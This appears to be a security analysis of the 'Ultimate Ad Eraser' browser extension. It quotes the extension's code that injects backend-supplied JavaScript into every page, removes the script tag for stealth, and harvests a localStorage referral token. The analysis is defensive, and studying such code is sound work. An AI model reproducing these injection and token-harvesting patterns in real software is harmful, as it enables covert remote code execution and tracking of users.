Ultimate Ad Eraser

The web-accessible script reads raw JavaScript from a DOM element with an obfuscated numeric id ('8740202947562848') and injects it into the page as an executable <script> tag in the page's main world. This is an arbitrary-JS execution primitive that bypasses Manifest V3's prohibition on remote code: whatever text the content script places in that span runs with the page's full privileges. The randomly-named injection id and the immediate parentNode.removeChild are classic stealth tricks to hide the injected script from page inspection.

(() => {  var _a;  const jsRules = (_a = document.getElementById('8740202947562848')) === null || _a === void 0 ? void 0 : _a    .textContent;  if (!injected && jsRules) {    const id = 'sdjfiojsd542fdf32dggf12jkyirx31';    if (!document.getElementById(id)) {      const scriptTag = document.createElement('script');      scriptTag.textContent = jsRules;      scriptTag.id = id;      scriptTag.setAttribute('type', 'text/javascript');      (document.head || document.documentElement)      .appendChild(scriptTag);      if (scriptTag.parentNode) {        scriptTag.parentNode.removeChild(scriptTag);      }    }    injected = true;  }})();

The content script requests a 'rulesString' from the service worker (GET_AMOUNT_BLOCKERS) keyed on the current page URL, wraps the returned string in a try/catch, and hands it to webAccessibleResources.js which evals it via <script>.textContent. Because the payload is fetched per-URL at document_start on every http(s) page (all_frames) and the service worker can source it from anywhere (remote server, remote config, etc.), this is effectively remote-code-loading into every website the user visits — an ad-eraser does not legitimately need dynamic per-site JS evaluation on 100k users' browsing. The span id '8740202947562848' is the handoff channel between the isolated content world and the page main world.

try {  const rulesString = yield senderMsg(MESSAGE.GET_AMOUNT_BLOCKERS, {    url: document.location.href,  });  if (chrome.runtime.lastError || !rulesString.length)    return;  const span = document.createElement('span');  span.id = '8740202947562848';  span.textContent = `try {${rulesString};} catch (error) {console.log(error)}`;  const parent = document.head || document.documentElement;  parent.appendChild(span);  const injectScript = document.createElement('script');  injectScript.setAttribute('type', 'text/javascript');  injectScript.src = chrome.runtime.getURL('/webAccessibleResources.js');  parent.appendChild(injectScript);} catch (e) {  console.log(e);}

On every http(s) page load the content script polls localStorage every 250ms for a key named 'activeCurrP' and forwards its value to the service worker via the REF message. This harvests a referral/tracking token that another page previously wrote into localStorage and reports it back to the extension backend — a partner/affiliate tracking / monetization mechanism typical of covert referrer-hijacking, not ad blocking. Running on all frames and all URLs with broad host permissions amplifies the exposure.

(() => contentScript_awaiter(void 0, void 0, void 0, function*() {      const getActiveLink = setInterval(() => {        try {          const ref = localStorage.getItem('activeCurrP');          if (ref) {            senderMsg(MESSAGE.REF, {              ref            });            clearInterval(getActiveLink);          }        } catch (err) {}      }, 250);

The message surface between content script and service worker exposes a GET_AMOUNT_BLOCKERS channel whose response is executed as JavaScript in the page context. Because serviceWorker.js is not shipped in this bundle, the ultimate source of the executed code is not auditable from the extension files alone — the architecture is designed to let the backend push arbitrary JS per URL. This indirection (content script asks backend → backend replies with code → page evals code) is a hallmark of extensions that retain the ability to silently re-purpose themselves after Chrome Web Store review.

MESSAGE["REF"] = "REF";MESSAGE["REPORT_AD"] = "REPORT_AD";MESSAGE["GET_INFO"] = "GET_INFO";MESSAGE["GET_AMOUNT_BLOCKERS"] = "GET_AMOUNT_BLOCKERS";MESSAGE["SWITCH_EXTENSION_STATUS"] = "SWITCH_EXTENSION_STATUS";MESSAGE["SHOW_SNACKBAR"] = "SHOW_SNACKBAR";})(MESSAGE || (MESSAGE = {}));